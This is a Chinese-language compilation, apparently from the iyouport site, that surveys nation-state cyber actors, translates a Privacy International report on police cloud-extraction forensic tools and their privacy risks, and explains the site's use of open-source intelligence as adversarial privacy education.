2、中国

中国广泛使用深层网络从事间谍活动和情报收集活动。

在中国禁止其公民使用Tor的同时，中国政府定期将该匿名技术用于其先进的 PLA 61398 部队，以瞄准美国军事防御技术和知识产权。

中国也足够聪明地确定了网络攻击的目标为关键军事国防工业承包商，以收集关键的出口管制技术的设计、文件和管理细节。

去年夏天，中国的黑客被发现组织了针对全球10个不同移动运营商的大规模网络间谍活动。

- 详细《疑似中国骇客针对10个电话运营商窃取元数据》

精心策划的攻击活动可能是为了报复正在进行的全球5G军备竞赛以及美国对中国电信提供商华为的压制。

- 《人工智能新冷战—— AI和5G如何变成一场噩梦》
- 华为是怎么来的《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》

自2015年以来，由国家资助的网络PLA部门78020还参与了资源丰富的南中国海地区的大规模军事、政治和经济网络间谍活动。

根据 Threat Connect 发布的深入情报，精心策划的间谍活动涉及一个复杂的资源域网络，其中包括位于科罗拉多州丹佛市的IP地址。

3、俄罗斯

近年来，从众多媒体和FBI的行动中可以明显看出，俄罗斯政府和情报部门已经深入渗透了暗网，开展了针对世界各地目标的众多大规模国家攻击活动。

攻击经常包括美国及其西方盟友，这可能被视为一场全面的网络战争，展示了各种各样的先进技术网络能力。

美国国防部网络战略部的研究人员正在努力确定可用于俄罗斯网络战役的网络专家的确切人数，但是有报道称，有许多精英部门组织了黑客行动包括26165及其姊妹单位74455。

俄罗斯擅长使用代理，它雇用了高级的非政府附属网络犯罪组织来代表他们进行APT攻击。

4、以色列

以色列是一个高度机密和有影响力的民族国家行为者。

以色列的精英网络间谍组织8200部队可以与NSA媲美，但其工作重点更加集中且计算得当。

8200部队补足了以色列国防军（IDF）的其他许多高科技部队。

由于部分攻击活动需要更多的法律自由和更少的国际审查，以色列网络公司也雇用了前8200部队人员，以实施以色列支持的在暗网中的秘

密活动。

5、德国

德国、英国和法国都具有复杂的网络能力。

德国最近建立了自己的网络和信息空间司令部（CIR），分配了13000 多名人员来抵御网络入侵攻击和虚假信息宣传活动。

德国执法部门还破坏了多起暗网中违法活动。

6、英国

最近有报道称，来自英国的黑客入侵了俄罗斯的Turla组织，突显了英国强大的能力。

自2014年以来，英国顶级间谍机构 GHCQ 的能力翻了一番，提供了从战术到高端反国家进攻网络作战的全光谱功能。

由于英国的NHS在2017年成为 WannaCry 的主要受害者，因此英国不仅可以防御未来的袭击，而且可以在需要时进行反击。

7、乌克兰

乌克兰最初未被认为是值得重视的国家黑客组织。

过去，乌克兰的网络能力主要围绕有组织犯罪和暗网梳理为主。鉴于最近有关乌克兰政府和财团商人被媒体广泛报道以及他们在美国大选政治中的影响，乌克兰在国际舞台上的 “影响力” 是显而易见的。

这种 “影响” 再加上乌克兰因吞并克里米亚而与俄罗斯进行的持续战争，包括防御俄罗斯对乌克兰电力基础设施的网络攻击，使乌克兰在网络领域名列前十位。

8、法国

法国于2019年初发布了其新的军事网络战略，该战略包括两个单独的文件：防御性网络战的部长级政策和军事网络战学说的公开元素 。法国在欧盟和北约组织中具有重要影响力，弥补了该国缺乏人力资本的弱点。

9、伊朗

伊朗是主要的民族国家网络战参与者，在中东国家（以色列除外）中处于领先地位。

十多年来，针对各种西方国防和商业网络的伊朗网络军一直是一个巨大的威胁。在美国通过 Stuxnet （震网）病毒成功渗透并关闭了其核离心机系统之后，伊朗投入了巨资开发技能和资源，以保持自己在国际网络舞台上的地位。

它们还以 “代理” 配置大量运行，与其他较小的国家合作共享技术和资源。

据估计，伊朗的任何民族国家级网络攻击都可以在朝鲜、叙利亚和也门等国家的帮助下进行。

众所周知，伊朗还与真主党和私人黑客组织勾结。通过培训私人黑客和恐怖分子，伊朗可能成为策划下一次全球性网络战的关键。

10、朝鲜

朝鲜声称对多起针对国际基础设施的大规模攻击负责，这是对国际经济制裁的回应，因为他们拒绝停止核计划。

根据开源情报报告，朝鲜黑客已成功部署了一种新的名为 ATMTrack 的 ATM 恶意软件，该恶意软件可轻易窃取印度易受攻击的 ATM。

据估计，ATMDTrack 是 DTrack 恶意软件家族的组成部分，该家族不仅涉及命令和控制远程访问木马（RAT）软件，还涉及键盘记录、检索浏览器历史记录、收集主机IP地址、有关可用网络和活动连接的信息、列举所有正在运行的进程，并列出受害计算机的所有可用磁盘卷上的所有文件。

11、印度

2018年，印度建立了国家技术研究组织， 作为保护国家关键基础设施并处理该国关键部门的所有网络安全事件的主要机构。

除了来自巴基斯坦的网络攻击之外，印度还面临来自其他主要恶意民族国家行为者的攻击，正如前面提到的朝鲜对印度银行基础设施的攻击。

12、加拿大

2018年，加拿大通过了全面的立法机关，以授权加拿大的通信安全机构（CSE）进行有效的进攻性网络运营。

全面的 C-59 法案使 CSE（加拿大国家安全局）采取了更为“主动的网络”姿态，而不是之前的基本防御和被动反应立场。

立法要求 CSE“ 在全球信息基础架构之上或通过全球信息基础架构进行活动，以降低、破坏、影响、响应、干扰针对个人、国家、国际事务、国防或安全的组织或恐怖组织的能力、意图或活动。”

加拿大不会在网络世界舞台上独居，而是拥有资源和议会支持来影响、保护和捍卫加拿大基础设施免受敌对国家的袭击。〇

Nation State Actors on the Darknet

原文

LR 让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证 - iyouport

你应该了解的现实公私监控伙伴关系长读集中化毁掉互联网自由

【2020年7月28日】“查手机” 已经过时了吗？如今流行的所谓取证工具旨在满足 “即便不在手机上的东西也能把它搞成罪证”。开发这种取证工具的公司大把，并且没有法律限制其使用方式。是谁正在干这种事？它们有什么能力？

当政府的搜查行为从手机转移到所谓的云端时：云提取技术和 “移动取证的未来” 是什么样的？

手机仍然是执法调查中最常用和最重要的数字资源。然而，警察不仅仅要掌握手机上实际存储的内容，还想要从中了解到目标人曾经访问过什么，主要是通过存储在云中的数据。

Cellebrite 是用于从手机中提取数据的领先监控技术供应商，在其年度趋势调查中指出，在所有调查中大约一半证据都 “出现” 了云数据，并且 “通常” 涉及社交媒体或应用程序 —— 那些并不在物理设备上的数据。

数据 “不驻留在物理设备上” 表示执法部门正在转向 “云提取”：对存储在第三方服务器上的用户数据进行取证分析，那些通常由设备和应用程序制造商备份的数据。

然而，随着执法部门越来越多地将云提取用于从应用程序中获取数据，大众对此的警惕性完全没有跟上节奏。YouGov 的一项调查显示，在英国，有45.6%的人没有考虑过手机上应用程序创建的数据存储在哪里，而44.3%的人完全不知道或不认为他们手机上的应用程序使用云存储。

随着人们花更多的时间使用社交媒体、消息收发应用、使用 Dropbox 和 Google Drive 之类的东西来存储文件 …… 随着电话变得更加安全、锁定的设备更难以破解，并且基于文件的加密变得越来越普

遍 …… 正如一位著名的业内人士所言，“可以说云提取决定了移动取证的未来。”

> “基于私有云的数据代表了取证调查人员挖掘潜在证据的虚拟金矿。”

隐私国际组织从取证学角度反复提出了对手机提取风险的担忧，并强调了缺乏有效的隐私和安全保护措施的危险。云提取则将风险更进了一步 —— 它不仅可以访问手机中包含的内容，还可以访问目标人在其中使用过的任何内容。

上图中这本书在这里下载：https://t.me/iyouport/6928

您的手机具有可供开发的所有数据，已经成为解锁在线个人和职业生活的万能钥匙。

需要更大的紧迫性来应对这种提取所带来的风险，尤其是，当考虑到在分析提取数据的软件中增加面部识别和情感识别时。

- 《说谎的眼睛：根植于维多利亚时代面部识别》

国家部署了哪些新的监视技术并没有告知公众、缺乏清晰易懂的法律框架、政府缺乏可辨别的行动，几乎没有减少公众免受数据利用的危险。

对高度敏感的数据采用这种狂野西部的做法只会带来滥用、误用和错误审批的风险。这对被控严重罪行的受害者尤其不利，特别是，我们甚至缺乏执法部门提供的有关他们在做什么的基本信息。

云提取技术的部署几乎没有透明度，而且是在公众了解非常有限的背景下进行的：本报告将隐私国际组织的开源研究、技术分析和信息自由法案的结果汇总在一起，以尝试揭露这一新出现的对人权的紧急威胁。

什么是手机提取

「图」

手机提取工具是允许警察从手机下载数据的设备和软件，包括：

- 联系人
- 通话数据 —— 你打电话给谁、何时通话、以及持续多长时间

- 短信
- 存储的文件 —— 照片、视频、音频文件、文档等
- 应用程序数据 —— 你使用什么应用程序、以及存储在其中的数据
- 位置数据 —— 近乎实时的跟踪
- Wi-fi 网络连接 —— 可以显示您连接到 wi-fi 的任何地方的位置，例如曾经访问过的工作场所和居所

移动电话提取需要与要分析的目标移动设备建立物理连接，以提取、分析并显示电话中包含的数据。

但是，它不仅可以提供设备本身所包含的内容，而且还可以成为通向云和外部信息源的入口。如果警察从检查的目标设备中提取登录名、密码和令牌，就可以使用它们来验证凭据以提取云存储的数据。

什么是云提取

「图」

云提取（或云分析）是一种访问、提取、分析、和保留存储在云中的数据的能力，这是技术公司广泛使用的术语，通常是指从第三方公司的服务器上提取。示例包括 Dropbox、Slack、Instagram、Twitter、Facebook、Google 产品如 My Activity、还有 Uber 和 Hotmail 等。

随着云存储越来越多地用于社交媒体、与互联网连接的设备和应用程序，云提取为挖掘大量敏感个人信息打开了大门。

在有关基于云的数据爆炸的相关报告中，有数据显示到2025年，将有49%的数据存储在公有云环境中。思科全球云指数预测了全球数据中心和基于云的IP流量的增长，并预测到2021年公有云数据中心的使用将继续大幅增加。

- 《大型“云”供应商时代的审查制度：集中化毁掉互联网自由》

> “来自移动应用程序的大部分数据都存储在云中。这意味着有大量的用户数据可用于收集。”

例如，Cellebrite 的 UFED Cloud Analyzer 使用可以从设备中提取的登录凭据然后从 **Google** 网络历史记录中提取搜索历史、访问过的页面、语音搜索记录和翻译记录，并查看在 **iOS** 设备上使用 **Chrome** 和 **Safari** 进行的文本搜索在 **iCloud** 中的备份。

通过获取登录凭据，即使目标人不再拥有这部手机，它仍然可以继续跟踪目标人的在线行为。

这种取证是如何工作的

「图」

有多种方法可以 “绕开移动设备的状态或配置” 访问云数据，这从取证的角度来看很有吸引力。

第一种涉及应用由个人提供的已知用户凭证，即 当个人自愿提交其登录详细信息时。第二种是从电话中提取数据，然后使用在该设备上或在其他设备（如笔记本电脑）上找到的令牌，用户可能在其中通过浏览器保存了身份验证令牌。第三种方法涉及在公共领域中收集数据。

“当用户成功通过应用或云服务进行身份验证时，该服务会返回一个令牌，该令牌用于使用户无需再次输入用户名和密码即可访问该服务。令牌就像一个通行证，例如当您打开 *Gmail* 帐户并使用它登录时不需要您进行任何交互。大多数令牌在身份验证时都设置了有效期限，这会因应用程序或云服务器而异。有些仅适用于单次登陆，另一些则适用于两个星期，还有一些适用于*30*天，如果用户在同一移动设备上使用该应用程序，则永久有效。

令牌的使用避免了登录时触发的双因素身份验证（2FA），后者通常会阻止对数据的访问。

在2FA中，提示用户确认发送到独立设备（例如 移动电话）的代码的过程是一项关键的安全功能。但是，即使触发了 **2FA**，**Oxygen Forensics Cloud Extractor** 仍可以通知政府间谍，并且 “提供了多个选项来绕开附加步骤。”

用于在移动设备之外获取令牌的工具

「图」

1、**Elcomsoft** 的 **GTEX** 工具可以在计算机上搜索身份验证令牌 ——

“如果用户的计算机上安装了 Google Chrome 浏览器，并且用户通过浏览器登录了至少一项 Google 服务，就可以对 Google 帐户进行无密码身份验证。

新的 Google 令牌提取器（GTEX）工具会自动在用户计算机上搜索由 Google Chrome 浏览器保存的身份验证令牌。

用户在浏览器中登录自己的 Google 帐户后，这些令牌可实现对 Google 服务的无缝访问，而无需重新输入密码。”

2、Cellebrite 的 PC Cloud Collector ——

“是一个独立的工具，可以使用浏览器中的 Cookie 和该PC上安装的应用程序从目标PC上创建令牌。”

3、UFED Cloud Analyzes 7.6 ——

“扩展了其密码收集器功能，以包括保存在移动网络浏览器中的密码。审查员现在可以使用密码收集器从各个站点检索密码登录信息，以收集有关嫌疑人或受害者的最大数据量。这是通过利用用户访问在线帐户时保存在浏览器中的登录详细信息来实现的。”

4、另一个类似的工具是 Oxygen Forensics 的 KeyScout，可在PC上查找密码和令牌 ——

“ KeyScout 安装了闪存卡并从 Windows PC 收集凭据。然后可以将收集到的凭据导入 Oxygen Forensic Cloud Extractor 中，以立即使用。”

这些取证工具不仅提供了一种访问云存储数据的简单方法，而且还提供了比个人使用自己的用户名和密码可以访问的更多的数据。

例如，Elcomsoft 称：“即使可以使用正确的身份验证凭据（例如 用户名和密码），也无法访问存储在云中的证据。”

Elcomsoft 将使用 Elcomsoft Phone Breaker 可获得的数据量与不使用取证工具时可获得的数据进行了比较。他们认为，使用取证工具不仅简单快捷，而且可以访问云中的数据，甚至比知道用户名和密码时获得的信息更多。

报告表明，还有其他方法可以使用令牌访问基于云的帐户。

2019年7月，《金融时报》报道称，NSO 集团臭名昭著的 Pegasus 恶意软件可以通过复制受感染手机的身份验证密钥来进行云提取，从而允许单独的服务器模拟手机及其位置。

上图中这份文档在这里下载：https://t.me/iyouport/6379

尽管诸如亚马逊、苹果、谷歌和微软等寡头公司评论了英国《金融时报》在NSO Group上的报道，但仍不清楚这些寡头在执法部门使用的云提取技术方面的立场。

谷歌告诉英国《金融时报》，与 Pegasus 有关的技术 “没有证据表明它可以访问 Google 帐户或系统”。但是，鉴于有很多取证公司公开宣传对 **Google** 产品的访问权限，因此您必须意识到，这对于客户数据的安全性而言是一个重大威胁。

可以获取哪些类型的数据？

「图」

监视公司关于通过云提取可以访问哪些数据类型的宣称令人印象深刻。

例如，Cellebrite 的 Cloud Analyser 声称 “使用司法鉴定程序提取、保存和分析所有公共领域和私人社交媒体数据、即时消息、文件存储、网页和其他基于云的内容”。

这包括一整套 Google 产品。而仅凭其 “历史记录” 功能就可以：

“通过从 **Google** 网络历史记录中提取文本搜索、被访问的页面、语音搜索记录、和翻译的历史记录，并在支持 **iCloud** 的 **iOS** 设备上使用 **Chrome** 和 **Safari** 进行文本搜索，从而洞察目标人的意图和兴趣。”
—— Cellebrite

⚠取证专家声称能够获取未送达的消息、未接听的电话、有关从私人和群组聊天中删除的消息、帐户所有者和联系人的个人资料图片和状态消息、回复中嵌入的原始消息以及广播消息。

☞简单说，数据不仅与目标用户有关，而且还与他们的朋友、家人、同事、及与之交互的任何人有关。

下图显示了 Cellebrite 对可以从手机中提取的数据量与可以从云来源中提取的数据量的比较，显示了与社交媒体、电子邮件、文件共享、以及位置和搜索历史有关的更多信息。

尤其是使用 Google 带有时间戳的位置记录、以及 Google My Activity 数据和备份来 “按分钟显示实时位置信息、搜索和访问过的

网站”。

Oxygen Forensics Detective 取证分析工具的开发公司称可以从 “最受欢迎的云服务” 中获取数据，包括 WhatsApp，iCloud，Google，Microsoft，Mi Cloud，华为，三星，电子邮件（IMAP）服务器等。

“还支持各种社交媒体服务，包括并不限于：*Facebook*，*Twitter*，*Instagram*等。… 在撰写本文时，它支持***54***种不同类型的云服务，从文件存储到 *Messenger*、无人机、健康应用程序和社交媒体。”

⚠即使您使用端到端加密消息传递，一旦将 WhatsApp 消息备份到了云端，执法部门仍然可以访问它们。

- 《如果您必需使用 WhatsApp：这里是减少伤害的办法》
- 《是否需要备份以及该如何安全地备份 WhatsApp？》

Magnet Forensics 还提供了一种云提取服务 AXIOM Cloud，它 “支持9个父级服务中的大约25个云产品，其中包括 Apple Box，Dropbox，IMAP / POP，Facebook，Google，Instagram，Microsoft 和 Twitter 等。每个服务都细分为不同的子服务。”

通过查看可以更详细提取的数据类型，Cellebrite 的 Cloud Analyzer 产品更新显示了对来自 **Alexa** 和 **Google Home** 等智能设备的数据的需求不断增长。

Cellebrite 的 UFED Cloud Analyzer 7.2 “提供对包括音频在内的用户请求的访问”。正如 Cellebrite 所说：

“物联网（IoT）创造了更多使用数据的方式，使我们的生活更轻松，并且它也创造了更多的数字情报来源，供调查人员在进行刑事调查时使用。” —— Cellebrite

请注意 Cellebrite 并不是唯一一家促进家庭智能助理访问数据的移动提取公司。Oxygen Forensics 同样将数字助理视为新的目击者，这些设备估计用户数量到2021年将达到18亿：

“提取的宝贵数据可以包含大量信息，其中例如：帐户和设备详细信息，联系人，用户活动，传入和传出消息，日历，通知，用户创建的列表，创建/安装的功能，首选项等。

☞该软件的一项惊人功能是能够提取用户提供给 *Alexa* 的存储语音命令。用户的真实声音！

毫无疑问，从亚马逊提取的信息将为用户的日常活动、他们的联系人、共享的消息、以及有价值的语音命令提供深刻的见解。”

“当 *Alexa*用户说出唤醒词来执行一项查询功能时，查询记录就会发送到该用户的 *Amazon* 云帐户。政府间谍可以提取 ***Amazon Alexa*** 数据，以包含用户实际话语的这些有价值的音频记录。”

- 推荐报告《你家冰箱如何作为呈堂证供？》

⚠随着连接到互联网并因此将数据存储在云中的设备数量的持续增长，云提取不仅可以进入人们的家中，甚至还可以进入人们的身体 —— 从可穿戴设备中访问数据。

- 推荐这份调查《“如果你不偏执，那就是疯了”》

“从 Fitbit 到 Apple Watch，当今的许多用户都在使用健康可穿戴设备，其中的数据包括心率、位置、食物摄入量、消息传递等信息，这些信息通常仅在云服务上而不在移动设备上。”

Cellebrite 可以访问 Fitbit “用户个人资料、日志、活动、目标、朋友关系、心率、运动轨迹（速度，位置，时间等）。

UFED Cloud Analyzer 7.3 访问 Google 位置数据和 Booking.com 的“用户个人资料、购买历史、消息和搜索”，这是与旅行和位置有关的另一种数据来源，UFED Cloud Analyzer 7.6 支持从 **UBER App** 中提取数据，并且可以：

☞“获得乘客和驾驶员资料数据、上下车的位置记录、以及用户信用卡的后4位 … 检索信用卡详细信息，新用户必须在首次登录时填写此信息。当乘客选择了接送地点、期望的目的地、和可用的驾驶员时，每次旅行都有详细记录。记录的路线经过汇总，然后按常用的目的地进行分类。驾驶员的信息包括姓名和证件照片。” —— Cellebrite

考虑到 Amazon 和 Facebook 的流行，这些显然是云存储数据的目标。截至2018年第四季度，Facebook 每月有23.2亿活跃用户。亚马逊在2017年拥有3亿用户。

Cellebrite 的 UFED Cloud Analyzer 7.5 的更新包括：“五种全新功能，可访问[针对 Facebook] 的活动日志、搜索历史、主页、用户群组数据、和IP地址记录。”

该软件可以：

“ …从标记了嫌疑人的帖子和照片中提取信息，以寻找新的线索或新的嫌疑人。

☞其他数据点包括识别点赞页面或将某人添加为朋友时建立的连接，以及发布的评论、阅读的文章、观看的视频、参观的地点等等。

对于群组和页面上的用户数据，*UFED Cloud Analyzer 7.5* 还可以标记嫌疑人是否是某个页面或群组的成员或管理员。

此版本还可以显示 *Facebook* 日志*IP*地址记录，以使监视者能够识别用于访问帐户的手机或计算机的位置。”

UFED Cloud Analyzer 7.5 “可以访问[Amazon]的搜索历史、购买历史和送货地址，这些信息可以为政府间谍提供重要的数字证据。”

“在此版本中，您还可以查看在亚马逊帐户中注册的信用卡的后四位数字，包括账单和送货地址。”“随着时间的推移，买家的搜索历史记录和愿望清单可能表明哪些可疑行为导致了犯罪。”

⚠云提取技术还可以从无人机中访问数据，例如 UFED Cloud Analyzer 7.6，其中添加了 DJI Drone App 和 SkyPixel 社交网络。它：

“允许监视者访问该应用程序以及 *SkyPixel* 社交网络上的相应用户帐户；用户个人资料数据和存储的无人机飞行日志数据都是可检索的，包括：日期、距离、飞行时间、位置、视频和图像。 *SkyPixel* 用户个人资料还可以帮助监视者验证是否对特定视频以及跟踪标签、关注对象等进行了任何协作。”

随着越来越多的公司依靠云存储来开展与工作有关的活动，可以从设备上的令牌获得的可访问数据不仅与个人生活有关，而且还包括他们的工作。

例如：

“ Cellebrite 提供了从 Slack（商业社区流行的通信工具）访问共享文件和即时消息数据的权限。”

UFED Cloud Analyzer 7.9 还包括对 Snapchat 和 Instagram 增强功能的支持。当我们考虑以下内置于分析软件中的不断增长的面部识别功能时，这是有意义的，该分析软件可以分析从手机提取的数据以及通过云提取获得的数据。

面部识别和云提取

「图」

使用云提取技术从手机和其他设备提取的数据分析越来越多地包括面部识别功能的使用。

☞如果我们考虑可以从包含面部图像的 Instagram、Google照片、iCloud 等基于云的资源中获取大量个人数据的现实，那么在大量数据上使用面部识别的能力就很重要。

毫无疑问，它可能被用于大量的云存储数据而没有任何透明度和问责制。

早在**2017**年**8**月，Cellebrite 为其分析平台引入了所谓的 “先进机器学习技术”，该技术可用于分析从云中提取的数据，其中包括面部识别和匹配。

从2019年7月开始，Oxygen Forensic Detective 内置的 Oxygen Forensics JetEngine 模块提供了对人脸进行分类的功能。

☞Oxygen 不仅可以在提取的数据中提供面部的分类和匹配，而且面部分析还可以基于性别、种族、和情绪识别进行分类。

Oxygen首席运营官 Lee Reiber 表示，该工具可以 “在证据集中搜寻特定的面孔，或将同一个人的图像聚合在一起。还可以按种族或年龄组以及 “喜悦” 和 “愤怒” 等情绪来过滤面孔。

持续追踪

「图」

获得用户的凭据后，不仅可以获取其基于云的数据，还可以使用其基于云的帐户来跟踪他们。

例如，Cellebrite 的 Cloud Analyzer 的功能就包括：

☞“跟踪在线行为，分析帖子、点赞、事件和联系，以更好地了解嫌疑人或受害者的兴趣、人际关系、观点和日常活动。”

这提供了对个人生活的非常侵入性的了解。个人本身永远不会知道有人可以访问并正在使用他们的云数据。

短期或长期的活动监视（特别是没有手机或在设备之外时）这非常具有侵犯性，并为云提取功能带来了另一个令人担忧的方面。

⚠监视者不仅可以随时通过其登录凭据或访问其基于云的帐户的功能来跟踪和监视目标人的行为、消息和位置数据，而且还可以发送消息，模仿目标人，将包含非法内容的信息发送给其他人。

结论

「图」

由于没有有关使用云提取技术的详细信息，因此不清楚这是否合法，也不清楚如何保护个人免受滥用其数据的危害。（我们会坚持建议您尽可能不要使用云）

可以从云服务中提取的数据量，包括分析图像的面部识别技术，以及，即使仅提取与一个人有关的云数据，也将产生获得更大量周边人的个人数据的影响，足以表明这种技术应该有更大的透明度和责任感。

这是执法机构的危险趋势的一部分，希望在全球范围内确保其使用的新技术形式的透明度和问责制。

以下是隐私国际组织的建议。

搜索一个人的基于云的数据比搜索他们的家更具侵入性，不仅是信息的数量和详细程度，还有可回溯性和继续挖掘未来数据的能力。 当权者不应无拘无束地获得公民的全部生活，使用云提取需要最严格的保护。

因此提出以下建议：

1、对警察和边境管理部门对云提取技术的使用加强独立调查；并征询公众、民间社会、工业界的意见。

2、在对任何基于云的数据进行取证检查或以其他方式访问其中存储的任何内容或通信数据之前，警察必须获得法官基于合理怀疑而签发的逮捕令。

3、必须有明确的法律依据来检查、收集、存储和分析基于云的服务中的数据，必须提供足够的保障以确保仅在必要且相称时才使用这种侵入式权力。

4、必须发布针对公众的权利及其提取内容的指南，并将其提供给要对其设备进行分析的人员。

5、必须告知目标人其基于云的数据已被提取、分析和保留。

6、检查过基于云的数据的任何人都应该可以使用有效的补救措施，从而可以提出有关合法性的任何担忧。

7、执法人员必须对合法使用这些权力的遵守情况接受独立监督。

8、网络安全标准应达成共识并分发，规定必须如何存储数据、将其保留多长时间、何时必须删除数据，以及谁可以访问它。

9、使用这些权力的所有主管部门都必须通过公共领域的采购渠道购买相关取证工具，并定期更新其已购买工具的清单，包括有关所拥有工具、制造商、和支出金额的详细信息。

10、创建并遵循技术标准以确保进行验证和确认。例如，这应该伴随有明确记录的过程。

11、需要足够的技术技能。因为拥有如此空前的数据量，必需由具备高技能的取证调查员来执行。

12、云提取技术的测试、试验和部署必须伴随准确的评估、适当的保障措施、以及公众和民间社会的参与。

取证工具当前支持的云服务列表

「图」

「图」

您可以在这里看到原始报告：https://privacyinternational.org/sites/default/files/2019-12/3.12.2019%20Cloud%20Analytics%20LONG%20READ%20FINAL.pdf

○□

原文

LR 这不是一场竞技表演：关于IYP为什么要采取开源情报 - iyouport

开源情报-每个人都可用的武器社会反抗和思考长读

【2020年9月25日存档】本文是希望您对开源情报有一个比较客观的了解，关于它能做什么、不能做什么、以及最好用来做什么的认识。尤其是对于生活在警察国家中的人们来说，只有当您能够了解警察和间谍是如何抓捕公民的时候，才能作出最有效的防御

我们看到了越来越多的中国读者开始对开源情报产生兴趣，这真是令人兴奋。因为这也许代表着一种21世纪的公民反抗形式正在中国萌芽。

但是，我们希望能首先完整解释下这件事，关于IYP为什么要采取开源情报，这事关对该反抗形式的理解和定位。

互联网上的几乎一切都可以是开源情报，也可以都不是开源情报

「图」

“开源” 这个词意味着您可以找到的任何东西。不论您的挖掘有多么深刻，它都符合 “开源” 的概念。甚至包括骗，都可以。比如采取袜子木偶账户接近目标人以此获得 “朋友” 级别的知情权限、甚或使用各种办法套取对方说出[暴露]可追踪的线索。

但 “情报” 这个词意味着，您的最终调查产品必须有可操作性。也就是说，它必须能对行动部署、目标推进、审议定夺、决策制定 等程序具备指导意义。

也是为什么我们说 “分析而不是收集，才是情报的灵魂”。

上图中这本书在这里下载：https://www.patreon.com/posts/mei-

guo-lu-jun-38188830

每一种行动的前提都是情报，行动策划者必需能够获得与手头的调查或事件有关的及时、可靠和可操作的情报。

没有情报的行动是不应该存在的，那将意味着盲目和必输无疑。您能想到的任何行动都是如此，不论是正义的还是邪恶的。情报是成功之源。

目前您能在互联网上看到的开源情报报告大多是不完整的，因为它们是以训练为目标的演示，也因此，它们也大多突出了整个开源情报调查中最关键的/难度最大的那些部分。

开源情报这个概念听起来很高大上，其实它的支柱就是每一个使用互联网的人都熟悉的东西 —— 搜索。只是，这里的搜索和普通的搜索不同，它更为深入、范围更广、更有目的性、更专业和复杂；最重要的是，它有一个确定目标，一切操作都为了这个目标而努力。

- 《开源调查应该是一种心智：得到它你需要几个步骤》

为什么开源情报在这个时代再次被重视

「图」

我们曾经在《科技如何改变情报产业？- 技术和间谍的未来》一文中解释了这个问题。大规模监控已经损伤所有人的活动自由，这其中也包括需要严格隐藏身份的政府间谍 —— 尤其是那些跨国行动的间谍，这是他们搬石头砸脚的最突出笑话之一。

于是，人工情报在数字技术监视时代已经严重受限。同时，公民反抗的崛起（如 PI、ACLU 等权利组织）、以及透明度革命的努力（Snowden、Julian Assange 等人），虽然信号情报的获取虽然仍在很大程度上不受限制，但是只要能被曝光，间谍行为的后果会让政府很麻烦。

- 关于情报的分类和开源情报的起源《“谷歌地图”是比詹姆斯邦德更棒的间谍》

在这种情况下，开源情报便成为了最具生命力和有效性的情报获取途径。当然，这是对当权者而言。

因为它完全合法（至少目前为止在任何国家都是如此），并且操作极

为宽松，尤其是，它可以具有强大的侵入性能力（因为如今几乎所有人都把自己放在互联网上了，其中为数不少的人甚至在线曝光了自己的一生）。

易于追踪监视就是这个互联网的工作方式，正因此，它为开源情报提供了一个前所未有的巨大金矿。

- 《巧用互联网，以找到您最想要的信息：搜索思维作为基本功》

所有人都在这里挖掘。

每个人都有不同的目的。

他们可以是：

- 对真相和知识好奇的网民；
- 用行动抵制政府信息战操纵的活动家组织；
- 致力于揭发暴行的人权捍卫者；
- 信仰知情权为民主根基的公民调查人员；
- 与虚假信息作战的事实核查人员；
- 试图揭露诈骗行为的正义人士；
- 寻找失踪儿童的NGO；
- 揭露大企业内幕的调查记者；
- 追踪数据泄露和网络攻击的安全技术人员 ……

他们还可以是：

- 为完成 “抓人指标” 不惜余力的网警；
- 致力于将任何反抗行动扼杀于摇篮的维稳部门；
- 为了钱什么都干得出的骗子；
- 正在策划入室抢劫的犯罪分子；
- 正在钻研入侵目标的骇客；
- 随时准备恐吓和伤害您的人肉狂 ……

那么，IYP是上述的谁？

其实谁也不是。

我们为什么要采取开源情报

「图」

IYP自2016年左右开始关注政府监控并间断性地讲述安全知识，尤其是讲述在线监视所带来的危害的相关信息。但是效果一直不理想，进展缓慢。

反馈主要有两个倾向：

1、一些读者（尤其是对技术不擅长的读者）开始将危险无限放大，以至于倾向于实施更为苛刻的自我审查，甚至审查周边人 —— 由于中国有一个臭名昭著的 “群主承责” 规定，即 一个在线群组中如果出现被当局不喜欢的信息和交谈，组织该群组的人将承担责任。

2、另一些读者则是不为所动，感觉自己平庸的生活 “没什么可担心的”（这点也是很多国家都存在的现象）。

- 《“没什么可隐藏的”—这个愚蠢的反人权论调从何而来？》

这期间我们多次调整传播模式和表述方式，可惜一直没有什么起色。

于是2018年开始，我们采取了更为激进的策略—— 用演示追踪来提醒隐私保护的重要性和方法。即，让人们直观地看到政府和恶意者会怎么做。

这被称为对抗性思考方式。

它的原理很简单，类似于您在学习英语的时候老师强调的 “词源学 Etymology”，也就是说不再死记硬背，而是去了解这个词是怎么来的，这样您就可以不至于拼写错误。

知道它是怎么来的 —— 这点适用于大多数学习。当然也包括安全知识。

就如，

- 当人们看到 “树木花草和鸟类也能帮助追踪定位” 时，在下一次上传照片之前就不会仅仅满足于遮住脸部了；
- 当人们了解到互联网上的人际关系如何曝光了自己的私密交往时，就会多一些小心以更好地避免在真正的行动之前被连锅端。
- 当人们知道一个电话号码就能成为任何追踪者的利器时，就不会再通过不安全的网络分享手机号了（曾经这种做法特别普遍）；
- 当人们看到可以科学地识别并有可能追查 trolls 背后的人

时，“全面拉黑”的传统建议就不再吸引人了（全面拉黑只会让异议人士的圈子越来越小，主要原因是，人们经常错误地拉黑不同意见者，而非真正的trolls）；
- 当人们看到一张自拍照就可以准确定位地理位置、甚至曝光家庭住址时，再上传任何照片都会至少反思一下“追踪者会利用它来做什么”；
- 当人们发现一些简单的搜索和有效的思考方式能够鉴别很多虚假信息并回答最想要知道答案的具体问题时 ……

这种方法被证明在一定程度上是有效的。正如这位读者所言：

在中国：近20年的在线数字镇压

「图」

- 《中国的互联网维稳产业：谁将成为唯一的失败者？》

中国当局对互联网开源情报的使用甚至可以追溯到近20年前—— 臭名昭著的网络舆论监控技术公司中国厦门的美亚柏科，成立于1999年。

随着美亚柏科的所谓“成功”，其他公司也相继开始投入“网络舆情分析”的产业。比如中国深圳的 KIS（Knowlesys Intelligence System）。

网络舆情分析只是社交媒体情报的委婉说法，前者而不是后者这一概念在中国已经流行多年，它更为含糊、并具有误导性，使人们误解其仅仅是“分析”，从而有意掩盖了监控的严重后果。直到不断有社交媒体用户被警方传唤、甚至被逮捕、被判刑。

上图中的内容在这里看到：https://www.patreon.com/posts/dui-kang-xing-si-38187798

以 KIS 为例，这家位于中国深圳的公司是一家标准的监控公司 —— 使用开源情报追踪任何其“客户”想要的人和事物，并提供多种情报产品。

